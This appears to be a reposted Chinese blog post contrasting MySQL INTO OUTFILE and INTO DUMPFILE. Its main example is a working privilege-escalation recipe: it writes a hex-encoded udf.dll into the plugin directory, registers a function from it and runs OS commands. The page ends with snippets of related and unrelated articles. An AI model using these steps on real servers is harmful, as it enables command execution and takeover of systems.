mysql dumpfile与outfile函数的区别
一直以为两个函数作用是相同的
经过简单测试发现还是有些区别的
如下表admin
mysql> select * from admin;
+-----+-----------+---------+
| uid | name | pass |
+----+------------+---------+
| 1 | admin | baidusb |
| 2 | root | hacksb |
| 3 | manage | nimei |
| 4 | boss | helensb |
| 5 | guanli | admin |
| 6 | superuser | G0Ood |
+----+------------+---------+
mysql> select * from admin into outfile '/home/seclab/test/test1.txt';
Query OK,1 row affected (0.00 sec)
我是想将这些内容 导出到 一个txt文件,事实上是可以完整导出每行记录的.
这个很适合导库
而into dump是不行的 它只能导出 一行数据!
若我们想把一个 可执行2进制 文件用into outfile函数导出
事实上 导出后 就会被破坏
因为into outfile 函数 会 在行末端写入新行 更致命的 是会转义 换行符
这样的话这个2进制可执行 文件 就会被破坏
这时候我们用into dumpfile 就能导出 一个完整能执行的2进制 文件
into dumpfile 函数不对任何列或行进行终止,也不执行任何转义处理
如在无web脚本 执行 但是有mysql root 执行的环境下 我们就可以 通过
into dump 函数导入udf.dll进行提权
mysql> show variable like '%plugin%';
+----------------+------------------------------------------+
|Variable_name | Value |
+----------------+------------------------------------------+
| plugin_dir |c:\mysql\mysql server 5.1\lib/plugin |
+----------------+------------------------------------------+
mysql> select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';
mysql> select * from func; #查看是否有人创建过udf 如果有就可以省略
mysql> create function MyCmd returns string soname ''c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';
mysql> select MyCmd('whoam');
一点小知识点:
如何获取该udf.dll文件的16进制值(hex)?
我们可以本地搭建mysql环境 找个可以用的udf.dll文件 执行下面操作
mysql> select hex(load_file ('c:/windows/temp/xxoo.dll')) into outfile 'c:/windows/temp/xxoo.txt';
如何获取该udf插件的内置 函数?
通过C32 等16进制 编辑器 或直接通过记事本 打开 看关键字 即可。
mysql dumpfile与outfile函数的区别的更多相关文章
- MySQL存储过程与存储函数的区别
语法定义上的区别就不说了,说一下其他的.如果有不正确的地方,还请大家指正. 1.总述存储函数和存储过程统称为存储例程(stored routine).两者的定义语法很相似,但却是不同的内容.存储函数限 ...
- MySQL存储过程/存储过程与自定义函数的区别
语法: 创建存储过程: CREATE [definer = {user|current_user}] PROCEDURE sp_name ([ proc_parameter [,proc_parame ...
- (转)MySQL存储过程/存储过程与自定义函数的区别
转自:http://www.cnblogs.com/caoruiy/p/4486249.html 语法: 创建存储过程: CREATE [definer = {user|current_user}] ...
- 日期时间函数 mysql 和sqlserver 中对于常用函数的日期和时间函数的区别
1. sqlserver中获取时间用getdate(),默认返回格式是2019-01-21 13:58:33.053,具体的年月日,时分秒毫米,年月日之间用短线连接,时分秒之间用冒号连接,秒和毫米之间 ...
- MySQL中SYSDATE()和NOW()函数的区别和联系
MySQL中有5个函数需要计算当前时间的值: NOW.返回时间,格式如:2012-09-23 06:48:28 CURDATE,返回时间的日期,格式如:2012-09-23 CURTIME,返回时间, ...
- 【存储过程】MySQL存储过程/存储过程与自定义函数的区别
---------------------------存储过程-------------------- 语法: 创建存储过程: CREATE [definer = {user|current_user ...
- MySQL存储过程和自定义函数、Navicat for mysql、创建存储过程和函数、调用存储过程和函数的区别
1 MySQL存储过程和函数 过程和函数,它们被编译后保存在数据库中,称为持久性存储模块(Persistent Stored Module,PSM),可以反复调用,运行速度快. 1.1 存储过程 存储 ...
- MySQL注入时常用函数
注入常用函数 数据库相关 database() --- 返回当前数据库名 @@datadir --- 读取数据库路径 @@basedir --- 读取数据库安全路径 @@version_compile ...
- mysql 存储过程和存储函数
14.1.1 创建存储过程 MySQL中,创建存储过程的基本形式如下: CREATE PROCEDURE sp_name ([proc_parameter[,...]]) [characteristi ...
随机推荐
- Eclipse 中 安装 SVN 插件
方法一:使用Eclipse 安装向导安装 1.测试所指环境 Eclipse 4.5/Mars 2.svn 插件的官方网站: http://subclipse.tigris.org 3.打开eclip ...
- C# 后台获取WebApi 方法
以下是方法 返货json数据 代码都有注释 /// <summary> /// 请求webpapi /// </summary> // ...
- 【POJ 2528】Mayor’s posters(线段树+离散化)
题目 给定每张海报的覆盖区间,按顺序覆盖后,最后有几张海报没有被其他海报完全覆盖.离散化处理完区间端点,排序后再给相差大于1的相邻端点之间再加一个点,再排序.线段树,tree[i]表示节点i对应区间是 ...
- 【BZOJ-1670】Building the Moat护城河的挖掘 Graham扫描法 + 凸包
1670: [Usaco2006 Oct]Building the Moat护城河的挖掘 Time Limit: 3 Sec Memory Limit: 64 MBSubmit: 464 Solv ...
- bzoj1042: [HAOI2008]硬币购物
#include <iostream> #include <cstdio> #include <cstring> #include <cmath> #i ...
- Jenkins 2.x版本的安装步骤(Windows)
一.登录官网https://jenkins.io/index.html 二.选择LTS版本(长期支持的版本) 如果想要下载其它版本可以进入列表选择,在最顶部有操作系统可以选择 三.安装好后,第一次会进 ...
- 使用Chrome或Fiddler抓取WebSocket包
首先,HTTP是建立在TCP协议基础上的,而WebSocket通常也是建立在TCP上,所以说为什么有些网页游戏抓不到包而有些又可以,这仅是因为你使用的抓包工具是针对了HTTP的通信协议. 我先从抽象的 ...
- iptables实现正向代理
拓扑图 实现目标 内网用户通过Firewall服务器(iptables实现)访问外网http服务 配置 #iptables iptables -t nat -A POSTROUTING -i eth0 ...
- memcached的分布式
今天写点周末在火车上看的memcached的东西: 一:memcached的分布式 虽然memcached被称为“分布式”缓存服务器,但是服务器端并没有“分布式”的功能.而是通过客户端来实现的. Me ...
- LuaLaTeX \documemtclass{standalone} 编译错误
最近在学习用LaTeX中的TikZ包画图 (graph), 必须要用LuaLaTeX编译. 然而却出现了奇怪的错误. \documentclass{standalone} \usepackage{ti ...